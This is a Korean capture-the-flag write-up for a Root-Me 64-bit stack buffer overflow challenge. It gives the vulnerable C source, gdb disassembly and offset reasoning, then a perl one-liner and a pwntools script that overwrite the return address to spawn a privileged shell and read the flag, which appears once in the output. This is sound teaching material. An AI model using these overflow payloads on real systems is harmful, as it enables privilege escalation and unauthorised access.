[App-System] ELF x64 - Stack buffer overflow - basic

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1. intro

2. code 및 분석

2.1. code

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
/*
gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack
*/
 
void callMeMaybe(){
    char *argv[] = { "/bin/bash", "-p", NULL };
    execve(argv[0], argv, NULL);
}
 
int main(int argc, char **argv){
 
    char buffer[256];
    int len, i;
 
    scanf("%s", buffer);
    len = strlen(buffer);
 
    printf("Hello %s\n", buffer);
 
    return 0;
}

2.2. 분석

32bit 문제와 동일하다.

3. 취약점 확인 및 공격 준비

3.1. 취약점

buffer 변수에 scanf 함수로 값을 받아들이지만 그 길이를 확인하지 않기에 buffer 변수의 공간을 넘어 return address 까지 침범할 수 있게 된다.

3.2. 공격 준비

32bit 문제와 다른 점이라면 64bit에서는 데이터 처리를 8byte 씩 한다는 점이다.

gdb를 통해 main 함수의 구조와 callMeMaybe 함수의 주소를 확인해보면 아래와 같다.

app-systeme-ch35@challenge03:~$ ls
ch35  ch35.c
app-systeme-ch35@challenge03:~$ gdb-gef ch35
Reading symbols from ch35...(no debugging symbols found)...done.
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded for GDB 8.1.1 using Python engine 3.6
[*] 3 commands could not be loaded, run `gef missing` to know why.
gef➤  set disassembly-flavor att
gef➤  disas main
Dump of assembler code for function main:
   0x0000000000400628 <+0>:     push   %rbp
   0x0000000000400629 <+1>:     mov    %rsp,%rbp
   0x000000000040062c <+4>:     sub    $0x120,%rsp
   0x0000000000400633 <+11>:    mov    %edi,-0x114(%rbp)
   0x0000000000400639 <+17>:    mov    %rsi,-0x120(%rbp)
   0x0000000000400640 <+24>:    lea    -0x110(%rbp),%rax
   0x0000000000400647 <+31>:    mov    %rax,%rsi
   0x000000000040064a <+34>:    lea    0xd0(%rip),%rdi        # 0x400721
   0x0000000000400651 <+41>:    mov    $0x0,%eax
   0x0000000000400656 <+46>:    callq  0x4004f0 <__isoc99_scanf@plt>
   0x000000000040065b <+51>:    lea    -0x110(%rbp),%rax
   0x0000000000400662 <+58>:    mov    %rax,%rdi
   0x0000000000400665 <+61>:    callq  0x4004c0 <strlen@plt>
   0x000000000040066a <+66>:    mov    %eax,-0x4(%rbp)
   0x000000000040066d <+69>:    lea    -0x110(%rbp),%rax
   0x0000000000400674 <+76>:    mov    %rax,%rsi
   0x0000000000400677 <+79>:    lea    0xa6(%rip),%rdi        # 0x400724
   0x000000000040067e <+86>:    mov    $0x0,%eax
   0x0000000000400683 <+91>:    callq  0x4004d0 <printf@plt>
   0x0000000000400688 <+96>:    mov    $0x0,%eax
   0x000000000040068d <+101>:   leaveq
   0x000000000040068e <+102>:   retq
End of assembler dump.
gef➤  disas callMeMaybe
Dump of assembler code for function callMeMaybe:
   0x00000000004005e7 <+0>:     push   %rbp
   0x00000000004005e8 <+1>:     mov    %rsp,%rbp
   0x00000000004005eb <+4>:     sub    $0x20,%rsp
   0x00000000004005ef <+8>:     lea    0x11e(%rip),%rax        # 0x400714
   0x00000000004005f6 <+15>:    mov    %rax,-0x20(%rbp)
   0x00000000004005fa <+19>:    lea    0x11d(%rip),%rax        # 0x40071e
   0x0000000000400601 <+26>:    mov    %rax,-0x18(%rbp)
   0x0000000000400605 <+30>:    movq   $0x0,-0x10(%rbp)
   0x000000000040060d <+38>:    mov    -0x20(%rbp),%rax
   0x0000000000400611 <+42>:    lea    -0x20(%rbp),%rcx
   0x0000000000400615 <+46>:    mov    $0x0,%edx
   0x000000000040061a <+51>:    mov    %rcx,%rsi
   0x000000000040061d <+54>:    mov    %rax,%rdi
   0x0000000000400620 <+57>:    callq  0x4004e0 <execve@plt>
   0x0000000000400625 <+62>:    nop
   0x0000000000400626 <+63>:    leaveq
   0x0000000000400627 <+64>:    retq
End of assembler dump.

main + 46이 scanf 함수를 call 하며 scanf로 입력받는 버퍼의 크기가 %rbp - 0x110 이므로

페이로드는 더미 x 0x110 + rbp 8 byte + ret address 8 byte가 된다.

4. exploit

app-systeme-ch35@challenge03:~$ (perl -e 'print "A"x280,"\xe7\x05\x40\x00\x00\x00\x00\x00"' ;cat) | ./ch35

Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
id
uid=1135(app-systeme-ch35) gid=1135(app-systeme-ch35) euid=1235(app-systeme-ch35-cracked) groups=1135(app-systeme-ch35),100(users)
cat .passwd
B4sicBufferOverflowExploitation

사실 위의 코드로 실행 시 제대로 작동하지 않아 아래와 같이 pwntool 공부도 할겸 겸사겸사 코딩 후 시도해봤는데,

아래의 방법으로 성공한 이후에 다시 위의 코드를 실행했더니 잘 작동했다.

from pwn import *

s = ssh(user='app-systeme-ch35',host='challenge03.root-me.org',port=2223,password='app-systeme-ch35')
p = s.process("./ch35")

pay=b''
pay+=b'A'*280
pay+=p64(0x00000000004005e7)
p.sendline(pay)
p.interactive()

실행해보면

┌──(kali㉿kali)-[~]
└─$ python a.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Connecting to challenge03.root-me.org on port 2223: Done
[*] app-systeme-ch35@challenge03.root-me.org:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process bytearray(b'./ch35') on challenge03.root-me.org: pid 25362
[*] Switching to interactive mode
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1b
bash-4.4$ $ id
uid=1135(app-systeme-ch35) gid=1135(app-systeme-ch35) euid=1235(app-systeme-ch35-cracked) groups=1135(app-systeme-ch35),100(users)
bash-4.4$ $ ls -al
total 36
drwxr-x---  2 app-systeme-ch35-cracked app-systeme-ch35         4096 Dec 10  2021 .
drwxr-xr-x 59 root                     root                     4096 Jun  2 13:51 ..
-r--------  1 root                     root                      661 Dec 10  2021 ._perms
-rw-r-----  1 root                     root                       44 Dec 10  2021 .git
-r--------  1 app-systeme-ch35-cracked app-systeme-ch35-cracked   32 Dec 10  2021 .passwd
-rwsr-x---  1 app-systeme-ch35-cracked app-systeme-ch35         8272 Dec 10  2021 ch35
-rw-r-----  1 app-systeme-ch35-cracked app-systeme-ch35          474 Dec 10  2021 ch35.c
bash-4.4$ $ cat .passwd
-------------- #플래그는 삭제
bash-4.4$ $ 
[*] Interrupted

64bit 환경은 나중에나 풀어보려고 했는데, basic 문제라 잠시 시도해봤는데 쉽게 풀었다.